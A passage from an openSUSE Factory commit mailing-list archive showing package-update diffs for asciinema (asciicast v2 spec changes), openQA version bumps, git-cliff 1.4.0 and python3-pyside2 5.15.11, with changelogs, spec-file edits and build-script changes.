'--exclude=.svnignore' old/asciinema-2.3.0/doc/asciicast-v2.md new/asciinema-2.4.0/doc/asciicast-v2.md --- old/asciinema-2.3.0/doc/asciicast-v2.md 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/doc/asciicast-v2.md 2023-10-23 16:06:50.000000000 +0200 @@ -15,6 +15,7 @@ [1.001376, "o", "That was ok\rThis is better."] [1.500000, "m", ""] [2.143733, "o", "Now... "] +[4.050000, "r", "80x24"] [6.541828, "o", "Bye!"] ``` @@ -109,73 +110,82 @@ Each element of the event stream is a 3-tuple encoded as JSON array: - [time, event-type, event-data] + [time, code, data] Where: -* `time` (float) - indicates when this event happened, represented as the number +* `time` (float) - indicates when the event happened, represented as the number of seconds since the beginning of the recording session, -* `event-type` (string) - one of: `"o"`, `"i"`, `"m"` -* `event-data` (any) - event specific data, described separately for each event - type. +* `code` (string) - specifies type of event, one of: `"o"`, `"i"`, `"m"`, `"r"` +* `data` (any) - event specific data, described separately for each event + code. For example, let's look at the following line: [1.001376, "o", "Hello world"] -It represents the event which: +It represents: -* happened 1.001376 sec after the start of the recording session, -* is of type `"o"` (output, write to a terminal, see below), -* has data `"Hello world"`. +* output (code `o`), +* of text `Hello world`, +* which happened `1.001376` sec after the start of the recording session. -### Supported event types +### Supported event codes -This section describes the event types supported in asciicast v2 format. +This section describes the event codes supported in asciicast v2 format. -The list is open to extension, and new event types may be added in both the +The list is open to extension, and new event codes may be added in both the current and future versions of the format. For example, we may add new event -type for text overlay (subtitles display). +code for text overlay (subtitles display). A tool which interprets the event stream (web/cli player, post-processor) should -ignore (or pass through) event types it doesn't understand or doesn't care +ignore (or pass through) event codes it doesn't understand or doesn't care about. -#### "o" - output, data written to the terminal +#### "o" - output, data written to a terminal -Event of type `"o"` represents printing new data to terminal's stdout. +Event of code `"o"` represents printing new data to a terminal. -`event-data` is a string containing the data that was printed. It must be valid, -UTF-8 encoded JSON string as described in [JSON RFC section +`data` is a string containing the data that was printed. It must be valid, UTF-8 +encoded JSON string as described in [JSON RFC section 2.5](http://www.ietf.org/rfc/rfc4627.txt), with any non-printable Unicode codepoints encoded as `\uXXXX`. -#### "i" - input, data read from the terminal +#### "i" - input, data read from a terminal -Event of type `"i"` represents character typed in by the user, or more +Event of code `"i"` represents character typed in by the user, or more specifically, raw data sent from a terminal emulator to stdin of the recorded program (usually shell). -`event-data` is a string containing captured ASCII character representing a key, -or a control character like `"\r"` (enter), `"\u0001"` (ctrl-a), `"\u0003"` -(ctrl-c), etc. Like with `"o"` event, it's UTF-8 encoded JSON string, with any +`data` is a string containing captured ASCII character representing a key, or a +control character like `"\r"` (enter), `"\u0001"` (ctrl-a), `"\u0003"` (ctrl-c), +etc. Like with `"o"` event, it's UTF-8 encoded JSON string, with any non-printable Unicode codepoints encoded as `\uXXXX`. > Official asciinema recorder doesn't capture keyboard input by default. All > implementations of asciicast-compatible terminal recorder should not capture -> it either unless explicitly permitted by the user. +> it either unless explicitly requested by the user. #### "m" - marker -Event of type `"m"` represents a marker. +Event of code `"m"` represents a marker. When marker is encountered in the event stream and "pause on markers" functionality of the player is enabled, the playback should pause, and wait for the user to resume. -`event-data` can be used to annotate a marker. Annotations may be used to e.g. +`data` can be used to annotate a marker. Annotations may be used to e.g. show a list of named "chapters". +#### "r" - resize + +Event of code `"r"` represents terminal resize. + +Those are captured in response to `SIGWINCH` signal. + +`data` contains new terminal size (columns + rows) formatted as +`"{COLS}x{ROWS}"`, e.g. `"80x24"`. + ## Notes on compatibility Version 2 of asciicast file format solves several problems which couldn't be diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/asciinema-2.3.0/setup.cfg new/asciinema-2.4.0/setup.cfg --- old/asciinema-2.3.0/setup.cfg 2023-07-05 15:51:16.000000000 +0200 +++ new/asciinema-2.4.0/setup.cfg 2023-10-23 16:06:50.000000000 +0200 @@ -1,6 +1,6 @@ [metadata] name = asciinema -version = 2.3.0 +version = 2.4.0 author = Marcin Kulik author_email = m(a)ku1ik.com url = https://asciinema.org

1 0

commit openQA for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package openQA for openSUSE:Factory checked in at 2023-10-31 20:26:21 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/openQA (Old) and /work/SRC/openSUSE:Factory/.openQA.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "openQA" Tue Oct 31 20:26:21 2023 rev:517 rq:1121408 version:4.6.1698662280.91607f3 Changes: -------- openQA-devel-test.changes: same change openQA-test.changes: same change openQA-worker-test.changes: same change --- /work/SRC/openSUSE:Factory/openQA/openQA.changes 2023-10-29 19:40:09.671798514 +0100 +++ /work/SRC/openSUSE:Factory/.openQA.new.17445/openQA.changes 2023-10-31 20:26:42.684169507 +0100 @@ -1,0 +2,6 @@ +Tue Oct 31 10:14:01 UTC 2023 - okurz(a)suse.com + +- Update to version 4.6.1698662280.91607f3: + * git subrepo pull (merge) external/os-autoinst-common + +------------------------------------------------------------------- Old: ---- openQA-4.6.1698405013.f1d481a.obscpio New: ---- openQA-4.6.1698662280.91607f3.obscpio ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ openQA-client-test.spec ++++++ --- /var/tmp/diff_new_pack.OKehwy/_old 2023-10-31 20:26:43.984217258 +0100 +++ /var/tmp/diff_new_pack.OKehwy/_new 2023-10-31 20:26:43.984217258 +0100 @@ -18,7 +18,7 @@ %define short_name openQA-client Name: %{short_name}-test -Version: 4.6.1698405013.f1d481a +Version: 4.6.1698662280.91607f3 Release: 0 Summary: Test package for %{short_name} License: GPL-2.0-or-later ++++++ openQA-devel-test.spec ++++++ --- /var/tmp/diff_new_pack.OKehwy/_old 2023-10-31 20:26:44.008218140 +0100 +++ /var/tmp/diff_new_pack.OKehwy/_new 2023-10-31 20:26:44.012218287 +0100 @@ -18,7 +18,7 @@ %define short_name openQA-devel Name: %{short_name}-test -Version: 4.6.1698405013.f1d481a +Version: 4.6.1698662280.91607f3 Release: 0 Summary: Test package for %{short_name} License: GPL-2.0-or-later ++++++ openQA-test.spec ++++++ --- /var/tmp/diff_new_pack.OKehwy/_old 2023-10-31 20:26:44.036219169 +0100 +++ /var/tmp/diff_new_pack.OKehwy/_new 2023-10-31 20:26:44.036219169 +0100 @@ -18,7 +18,7 @@ %define short_name openQA Name: %{short_name}-test -Version: 4.6.1698405013.f1d481a +Version: 4.6.1698662280.91607f3 Release: 0 Summary: Test package for openQA License: GPL-2.0-or-later ++++++ openQA-worker-test.spec ++++++ --- /var/tmp/diff_new_pack.OKehwy/_old 2023-10-31 20:26:44.060220050 +0100 +++ /var/tmp/diff_new_pack.OKehwy/_new 2023-10-31 20:26:44.064220197 +0100 @@ -18,7 +18,7 @@ %define short_name openQA-worker Name: %{short_name}-test -Version: 4.6.1698405013.f1d481a +Version: 4.6.1698662280.91607f3 Release: 0 Summary: Test package for %{short_name} License: GPL-2.0-or-later ++++++ openQA.spec ++++++ --- /var/tmp/diff_new_pack.OKehwy/_old 2023-10-31 20:26:44.088221079 +0100 +++ /var/tmp/diff_new_pack.OKehwy/_new 2023-10-31 20:26:44.092221226 +0100 @@ -78,7 +78,7 @@ %define devel_requires %devel_no_selenium_requires chromedriver Name: openQA -Version: 4.6.1698405013.f1d481a +Version: 4.6.1698662280.91607f3 Release: 0 Summary: The openQA web-frontend, scheduler and tools License: GPL-2.0-or-later ++++++ openQA-4.6.1698405013.f1d481a.obscpio -> openQA-4.6.1698662280.91607f3.obscpio ++++++ /work/SRC/openSUSE:Factory/openQA/openQA-4.6.1698405013.f1d481a.obscpio /work/SRC/openSUSE:Factory/.openQA.new.17445/openQA-4.6.1698662280.91607f3.obscpio differ: char 50, line 1 ++++++ openQA.obsinfo ++++++ --- /var/tmp/diff_new_pack.OKehwy/_old 2023-10-31 20:26:44.172224164 +0100 +++ /var/tmp/diff_new_pack.OKehwy/_new 2023-10-31 20:26:44.176224311 +0100 @@ -1,5 +1,5 @@ name: openQA -version: 4.6.1698405013.f1d481a -mtime: 1698405013 -commit: f1d481ab2768011f9fef724bdf63ae3d17e20a8a +version: 4.6.1698662280.91607f3 +mtime: 1698662280 +commit: 91607f324ec894c381f48dc01419fed1f0b12715

1 0

commit git-cliff for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package git-cliff for openSUSE:Factory checked in at 2023-10-31 20:26:19 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/git-cliff (Old) and /work/SRC/openSUSE:Factory/.git-cliff.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "git-cliff" Tue Oct 31 20:26:19 2023 rev:9 rq:1121406 version:1.4.0 Changes: -------- --- /work/SRC/openSUSE:Factory/git-cliff/git-cliff.changes 2023-09-20 13:34:56.387005619 +0200 +++ /work/SRC/openSUSE:Factory/.git-cliff.new.17445/git-cliff.changes 2023-10-31 20:26:40.580092225 +0100 @@ -1,0 +2,12 @@ +Tue Oct 31 09:28:06 UTC 2023 - Soc Virnyl Estela <uncomfy+openbuildservice(a)uncomfyhalomacro.pl> + +- Update to version 1.4.0: + * Support bumping the semantic version via `--bump` + * Add 'typos' check + * Log the output of failed external commands - + * breaking change: Support regex in 'tag_pattern' configuration + * Add field and value matchers to the commit parser +- Update service file to new obs service cargo requirements +- Add zstd in build requirements for tar scm + +------------------------------------------------------------------- Old: ---- git-cliff-1.2.0.tar.gz vendor.tar.xz New: ---- git-cliff-1.4.0.tar.gz vendor.tar.zst ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ git-cliff.spec ++++++ --- /var/tmp/diff_new_pack.9tDs5k/_old 2023-10-31 20:26:41.868139535 +0100 +++ /var/tmp/diff_new_pack.9tDs5k/_new 2023-10-31 20:26:41.868139535 +0100 @@ -17,16 +17,17 @@ Name: git-cliff -Version: 1.2.0 +Version: 1.4.0 Release: 0 Summary: Changelog generator for git repositories URL: https://github.com/orhun/git-cliff License: (Apache-2.0 OR MIT) AND Unicode-DFS-2016 AND (0BSD OR MIT OR Apache-2.0) AND (Apache-2.0 OR BSL-1.0) AND (Apache-2.0 OR ISC OR MIT) AND (Apache-2.0 OR MIT) AND (Apache-2.0 OR Apache-2.0 WITH LLVM-exception OR MIT) AND (Apache-2.0 OR MIT OR Zlib) AND (Apache-2.0 OR MIT OR Zlib) AND (MIT OR Unlicense) AND (Apache-2.0 OR Zlib OR MIT) AND Apache-2.0 AND BSD-3-Clause AND ISC AND MIT AND MPL-2.0 AND GPL-3.0-only AND SUSE-GPL-2.0-with-linking-exception+ Source0: https://github.com/orhun/git-cliff/archive/refs/tags/v%{version}.tar.gz#/%{… -Source1: vendor.tar.xz +Source1: vendor.tar.zst Source2: cargo_config BuildRequires: cargo-packaging BuildRequires: rust+cargo +BuildRequires: zstd ExclusiveArch: %{rust_arches} %description @@ -85,7 +86,7 @@ %files %{_bindir}/%{name} %{_mandir}/man1/git-cliff.1%{?ext_man} -%license LICENSE +%license LICENSE-MIT LICENSE-APACHE %doc README.md RELEASE.md CHANGELOG.md %files bash-completion ++++++ _service ++++++ --- /var/tmp/diff_new_pack.9tDs5k/_old 2023-10-31 20:26:41.896140564 +0100 +++ /var/tmp/diff_new_pack.9tDs5k/_new 2023-10-31 20:26:41.896140564 +0100 @@ -1,8 +1,7 @@ <services> <service name="download_files" mode="manual" /> <service name="cargo_vendor" mode="manual"> - <param name="srctar">git-cliff-1.2.0.tar.gz</param> - <param name="compression">xz</param> + <param name="src">git-cliff-*.tar.gz</param> <param name="update">true</param> </service> <service name="cargo_audit" mode="manual" /> ++++++ cargo_config ++++++ --- /var/tmp/diff_new_pack.9tDs5k/_old 2023-10-31 20:26:41.912141151 +0100 +++ /var/tmp/diff_new_pack.9tDs5k/_new 2023-10-31 20:26:41.916141298 +0100 @@ -3,5 +3,4 @@ [source.vendored-sources] directory = "vendor" -(No newline at EOF) ++++++ git-cliff-1.2.0.tar.gz -> git-cliff-1.4.0.tar.gz ++++++ ++++ 8436 lines of diff (skipped)

1 0

commit python3-pyside2 for openSUSE:Factory
by Source-Sync 31 Oct '23

31 Oct '23

Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package python3-pyside2 for openSUSE:Factory checked in at 2023-10-31 20:26:18 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/python3-pyside2 (Old) and /work/SRC/openSUSE:Factory/.python3-pyside2.new.17445 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Package is "python3-pyside2" Tue Oct 31 20:26:18 2023 rev:27 rq:1121405 version:5.15.11 Changes: -------- --- /work/SRC/openSUSE:Factory/python3-pyside2/python3-pyside2.changes 2023-09-20 13:28:45.853731050 +0200 +++ /work/SRC/openSUSE:Factory/.python3-pyside2.new.17445/python3-pyside2.changes 2023-10-31 20:26:38.216005392 +0100 @@ -1,0 +2,12 @@ +Mon Oct 30 14:19:25 UTC 2023 - Christophe Marin <christophe(a)krop.fr> + +- Update to 5.15.11 + * Documentation regarding the clang environment variables has been fixed. + * Support for Python 3.11 has been added. + * The GLES build has been fixed. + * Crashes when using QtDataVisualization's QValue3DAxisFormatter have been fixed. +- Drop patches, merged upstream: + * 0001-Backport-Fix-GLES-builds.patch + * python-3.11-compatibility.patch + +------------------------------------------------------------------- Old: ---- 0001-Backport-Fix-GLES-builds.patch pyside-setup-opensource-src-5.15.10.tar.xz python-3.11-compatibility.patch New: ---- pyside-setup-opensource-src-5.15.11.tar.xz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ python3-pyside2.spec ++++++ --- /var/tmp/diff_new_pack.Rt7buH/_old 2023-10-31 20:26:39.116038450 +0100 +++ /var/tmp/diff_new_pack.Rt7buH/_new 2023-10-31 20:26:39.116038450 +0100 @@ -22,7 +22,7 @@ %global __requires_exclude qmlimport\\((Charts|TextBalloonPlugin) Name: python3-pyside2 -Version: 5.15.10 +Version: 5.15.11 Release: 0 Summary: Python bindings for Qt # Legal: @@ -39,13 +39,7 @@ # PATCH-FIX-UPSTREAM Patch2: 0001-cmake-Don-t-assume-qhelpgenerator-is-in-PATH.patch # PATCH-FIX-UPSTREAM -Patch3: 0001-Backport-Fix-GLES-builds.patch -%if 0%{?suse_version} > 1500 -# PATCH-FIX-UPSTREAM python-3.11-compatibility.patch -Patch4: python-3.11-compatibility.patch -%endif -# PATCH-FIX-UPSTREAM -Patch5: 0001-Fix-tests-sample_privatector-sample_privatedtor-fail.patch +Patch3: 0001-Fix-tests-sample_privatector-sample_privatedtor-fail.patch # Provide the PyPI names Provides: python3-PySide2 = %{version}-%{release} Provides: python3-shiboken2 = %{version}-%{release} @@ -225,8 +219,8 @@ ctest_exclude_regex="$ctest_exclude_regex|QtWebEngineCore_web_engine_custom_scheme" %if 0%{?suse_version} > 1500 -# Upstream doesn't plan to add support for python > 3.10 in pyside2. Blacklist broken test -ctest_exclude_regex="$ctest_exclude_regex|signal_enum_test" +# Blacklist broken test with python 3.11 +ctest_exclude_regex="$ctest_exclude_regex|signal_enum_test|QtCore_qenum_test" %endif %ifarch %{arm} ++++++ 0001-cmake-Don-t-assume-qhelpgenerator-is-in-PATH.patch ++++++ --- /var/tmp/diff_new_pack.Rt7buH/_old 2023-10-31 20:26:39.144039478 +0100 +++ /var/tmp/diff_new_pack.Rt7buH/_new 2023-10-31 20:26:39.152039772 +0100 @@ -1,7 +1,7 @@ -From cb7de1027430cdf0ecbe4e75134239a8987199a2 Mon Sep 17 00:00:00 2001 +From 4d1ad8ef85e746dcb22fb87e23a8b0fdb7a7ccf2 Mon Sep 17 00:00:00 2001 From: Christophe Giboudeaux <christophe(a)krop.fr> Date: Tue, 15 Sep 2020 08:44:52 +0200 -Subject: [PATCH] [cmake] Don't assume qhelpgenerator is in PATH +Subject: [PATCH] Don't assume qhelpgenerator is in PATH There is no guarantee the qhelpgenerator executable is in PATH. The build system will use the the Qt5::qhelpgenerator target @@ -12,10 +12,10 @@ 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/sources/pyside2/doc/CMakeLists.txt b/sources/pyside2/doc/CMakeLists.txt -index ffbb3c1..e578aad 100644 +index 950e486..4b0c7dc 100644 --- a/sources/pyside2/doc/CMakeLists.txt +++ b/sources/pyside2/doc/CMakeLists.txt -@@ -132,10 +132,14 @@ if(DOC_OUTPUT_FORMAT STREQUAL "html") +@@ -138,10 +138,14 @@ if(DOC_OUTPUT_FORMAT STREQUAL "html") COMMENT "Copying Shiboken docs..." VERBATIM) else() @@ -32,10 +32,10 @@ VERBATIM) endif() diff --git a/sources/shiboken2/doc/CMakeLists.txt b/sources/shiboken2/doc/CMakeLists.txt -index 9fee962..dee13f3 100644 +index ae4858f..fb2a62d 100644 --- a/sources/shiboken2/doc/CMakeLists.txt +++ b/sources/shiboken2/doc/CMakeLists.txt -@@ -33,11 +33,15 @@ except: +@@ -36,11 +36,15 @@ except: # create a custom command to generate QCH if(DOC_OUTPUT_FORMAT STREQUAL "qthelp") @@ -54,6 +54,6 @@ endif() else() -- -2.28.0 +2.42.0 ++++++ pyside-setup-opensource-src-5.15.10.tar.xz -> pyside-setup-opensource-src-5.15.11.tar.xz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/build_scripts/config.py new/pyside-setup-opensource-src-5.15.11/build_scripts/config.py --- old/pyside-setup-opensource-src-5.15.10/build_scripts/config.py 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/build_scripts/config.py 2023-10-05 06:29:38.000000000 +0200 @@ -94,6 +94,7 @@ 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Programming Language :: Python :: 3.10', + 'Programming Language :: Python :: 3.11' ] self.setup_script_dir = None diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/build_scripts/utils.py new/pyside-setup-opensource-src-5.15.11/build_scripts/utils.py --- old/pyside-setup-opensource-src-5.15.10/build_scripts/utils.py 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/build_scripts/utils.py 2023-10-05 06:29:38.000000000 +0200 @@ -64,6 +64,10 @@ WindowsError = None +def is_64bit(): + return sys.maxsize > 2147483647 + + def filter_match(name, patterns): for pattern in patterns: if pattern is None: @@ -1242,4 +1246,4 @@ print("debug: Exception error: {}".format(e)) file = file.replace("s://download","://master") print("New url: {}".format(file)) - download_and_extract_7z(file, target) \ No newline at end of file + download_and_extract_7z(file, target) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/build_scripts/wheel_override.py new/pyside-setup-opensource-src-5.15.11/build_scripts/wheel_override.py --- old/pyside-setup-opensource-src-5.15.10/build_scripts/wheel_override.py 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/build_scripts/wheel_override.py 2023-10-05 06:29:38.000000000 +0200 @@ -38,14 +38,17 @@ ############################################################################# -wheel_module_exists = False - import os import sys +import platform from .options import DistUtilsCommandMixin, OPTION from distutils import log as logger from email.generator import Generator from .wheel_utils import get_package_version, get_qt_version, macos_plat_name +from .utils import is_64bit + +wheel_module_exists = False + try: @@ -86,11 +89,11 @@ self.plat_name = macos_plat_name() # When limited API is requested, notify bdist_wheel to - # create a properly named package. - limited_api_enabled = (OPTION["LIMITED_API"] == 'yes' - and sys.version_info[0] >= 3) + # create a properly named package, which will contain + # the initial cpython version we support. + limited_api_enabled = OPTION["LIMITED_API"] == 'yes' if limited_api_enabled: - self.py_limited_api = "cp35.cp36.cp37.cp38.cp39.cp310" + self.py_limited_api = "cp36" self._package_version = get_package_version() @@ -101,9 +104,9 @@ # Slightly modified version of wheel's wheel_dist_name # method, to add the Qt version as well. # Example: - # PySide2-5.6-5.6.4-cp27-cp27m-macosx_10_10_intel.whl - # The PySide2 version is "5.6". - # The Qt version built against is "5.6.4". + # PySide6-6.3-6.3.2-cp36-abi3-macosx_10_10_intel.whl + # The PySide6 version is "6.3". + # The Qt version built against is "6.3.2". wheel_version = "{}-{}".format(self._package_version, get_qt_version()) components = (_safer_name(self.distribution.get_name()), wheel_version) if self.build_number: @@ -113,9 +116,7 @@ # Copy of get_tag from bdist_wheel.py, to allow setting a # multi-python impl tag, by removing an assert. Otherwise we # would have to rename wheels manually for limited api - # packages. Also we set "none" abi tag on Windows, because - # pip does not yet support "abi3" tag, leading to - # installation failure when tried. + # packages. def get_tag(self): # bdist sets self.plat_name if unset, we should only use it for purepy # wheels if the user supplied it. @@ -136,7 +137,7 @@ # modules, use the default platform name. plat_name = get_platform(self.bdist_dir) - if plat_name in ('linux-x86_64', 'linux_x86_64') and sys.maxsize == 2147483647: + if plat_name in ('linux-x86_64', 'linux_x86_64') and not is_64bit(): plat_name = 'linux_i686' # To allow uploading to pypi, we need the wheel name @@ -157,7 +158,7 @@ if self.root_is_pure: if self.universal: - impl = 'py2.py3' + impl = 'py3' else: impl = self.python_tag tag = (impl, 'none', plat_name) @@ -168,7 +169,7 @@ # We don't work on CPython 3.1, 3.0. if self.py_limited_api and (impl_name + impl_ver).startswith('cp3'): impl = self.py_limited_api - abi_tag = "abi3" if sys.platform != "win32" else "none" + abi_tag = "abi3" else: abi_tag = str(get_abi_tag()).lower() tag = (impl, abi_tag, plat_name) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/coin/dependencies.yaml new/pyside-setup-opensource-src-5.15.11/coin/dependencies.yaml --- old/pyside-setup-opensource-src-5.15.10/coin/dependencies.yaml 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/coin/dependencies.yaml 2023-10-05 06:29:38.000000000 +0200 @@ -1,6 +1,6 @@ product_dependency: ../../qt/tqtc-qt5.git: - ref: "67ee8a740e8a46c7dd470889ac182f465081dd1c" + ref: "5bbe0d09c5ec49df334b62ed1b3338bbba5d1981" dependency_source: supermodule dependencies: [ "../../qt/qt3d", diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/dist/changes-5.15.11 new/pyside-setup-opensource-src-5.15.11/dist/changes-5.15.11 --- old/pyside-setup-opensource-src-5.15.10/dist/changes-5.15.11 1970-01-01 01:00:00.000000000 +0100 +++ new/pyside-setup-opensource-src-5.15.11/dist/changes-5.15.11 2023-10-05 06:29:38.000000000 +0200 @@ -0,0 +1,26 @@ +Qt for Python 5.5.11 is a bug-fix release. + +For more details, refer to the online documentation included in this +distribution. The documentation is also available online: + +https://doc.qt.io/qtforpython/ + +Some of the changes listed in this file include issue tracking numbers +corresponding to tasks in the Qt Bug Tracker: + +https://bugreports.qt.io/ + +Each of these identifiers can be entered in the bug tracker to obtain more +information about a particular change. + +**************************************************************************** +* PySide2 * +**************************************************************************** + + - [PYSIDE-1956] Documentation regarding the clang environment variables has + been fixed. + - [PYSIDE-1960] Support for Python 3.11 has been added. + - [PYSIDE-1980] The GLES build has been fixed. + - [PYSIDE-2019] Crashes when using QtDataVisualization's + QValue3DAxisFormatter have been fixed. + - [PYSIDE-2043] Errors when using VSCode's Intellisense have been fixed. diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/requirements.txt new/pyside-setup-opensource-src-5.15.11/requirements.txt --- old/pyside-setup-opensource-src-5.15.10/requirements.txt 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/requirements.txt 2023-10-05 06:29:38.000000000 +0200 @@ -4,6 +4,7 @@ # setuptools from v45+ removed the support for Python 2, so we pin an old release setuptools==44.0.0; python_version < '3' setuptools; python_version >= '3' +packaging sphinx six wheel>=0.35 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtDataVisualization/typesystem_datavisualization.xml new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtDataVisualization/typesystem_datavisualization.xml --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtDataVisualization/typesystem_datavisualization.xml 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtDataVisualization/typesystem_datavisualization.xml 2023-10-05 06:29:38.000000000 +0200 @@ -85,8 +85,20 @@ </object-type> <object-type name="QCategory3DAxis"/> <object-type name="QLogValue3DAxisFormatter"/> - <object-type name="QValue3DAxis"/> + <object-type name="QValue3DAxis"> + <modify-function signature="setFormatter(QValue3DAxisFormatter *)"> + <modify-argument index="1"> + <parent index="this" action="add"/> + </modify-argument> + </modify-function> + </object-type> <object-type name="QValue3DAxisFormatter"> + <modify-function signature="createNewInstance() const"> + <modify-argument index="return"> + <define-ownership class="native" owner="c++"/> + <define-ownership class="target" owner="default"/> + </modify-argument> + </modify-function> <modify-function signature="populateCopy(QtDataVisualization::QValue3DAxisFormatter&)const"> <modify-argument index="1"> <parent index="this" action="add"/> diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtGui/CMakeLists.txt new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtGui/CMakeLists.txt --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtGui/CMakeLists.txt 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtGui/CMakeLists.txt 2023-10-05 06:29:38.000000000 +0200 @@ -227,7 +227,7 @@ list(FIND QtGui_enabled_features "opengles2" _opengles2Index) # ### fixme: For cmake >= 3.3: if(opengles2 IN_LIST QtGui_enabled_features) if(_opengles2Index GREATER -1) - list(APPEND QtGui_DROPPED_ENTRIES QOpenGLTimeMonitor QOpenGLTimerQuery) + list(APPEND QtGui_DROPPED_ENTRIES QOpenGLTimeMonitor QOpenGLTimerQuery QOpenGLVersionFunctionsFactory) message(STATUS "Qt${QT_MAJOR_VERSION}Gui: Dropping Desktop OpenGL classes (GLES2)") else() list(APPEND QtGui_SRC diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtOpenGLFunctions/CMakeLists.txt new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtOpenGLFunctions/CMakeLists.txt --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtOpenGLFunctions/CMakeLists.txt 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtOpenGLFunctions/CMakeLists.txt 2023-10-05 06:29:38.000000000 +0200 @@ -11,7 +11,7 @@ list(FIND QtOpenGLFunctions_enabled_features "opengles2" _opengles2Index) # ### fixme: For cmake >= 3.3: if(opengles2 IN_LIST QtOpenGLFunctions_enabled_features) if(_opengles2Index GREATER -1) - list(APPEND QtOpenGLFunctions_DROPPED_ENTRIES QOpenGLTimeMonitor QOpenGLTimerQuery) + list(APPEND QtOpenGLFunctions_DROPPED_ENTRIES QOpenGLTimeMonitor QOpenGLTimerQuery QOpenGLVersionFunctionsFactory) list(APPEND QtOpenGLFunctions_SRC ${QtOpenGLFunctions_GEN_DIR}/qopenglfunctions_es2_wrapper.cpp) message(STATUS "Qt${QT_MAJOR_VERSION}OpenGLFunctions: Dropping Desktop OpenGL classes (GLES2)") diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtWidgets/typesystem_widgets_common.xml new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtWidgets/typesystem_widgets_common.xml --- old/pyside-setup-opensource-src-5.15.10/sources/pyside2/PySide2/QtWidgets/typesystem_widgets_common.xml 2023-06-06 20:53:10.000000000 +0200 +++ new/pyside-setup-opensource-src-5.15.11/sources/pyside2/PySide2/QtWidgets/typesystem_widgets_common.xml 2023-10-05 06:29:38.000000000 +0200 @@ -2306,9 +2306,17 @@ </extra-includes> <modify-function signature="critical(QWidget*,const QString&,const QString&,QFlags<QMessageBox::StandardButton>,QMessageBox::StandardButton)" allow-thread="yes"/> + <modify-function signature="critical(QWidget*,const QString&,const QString&,QMessageBox::StandardButton,QMessageBox::StandardButton)" + allow-thread="yes"/> <modify-function signature="information(QWidget*,const QString&,const QString&,QFlags<QMessageBox::StandardButton>,QMessageBox::StandardButton)" allow-thread="yes"/> + <modify-function signature="information(QWidget*,const QString&,const QString&,QMessageBox::StandardButton,QMessageBox::StandardButton)" + allow-thread="yes"/> <modify-function signature="question(QWidget*,const QString&,const QString&,QFlags<QMessageBox::StandardButton>,QMessageBox::StandardButton)" allow-thread="yes"/> + <modify-function signature="question(QWidget*,const QString&,const QString&,QMessageBox::StandardButton,QMessageBox::StandardButton)" + 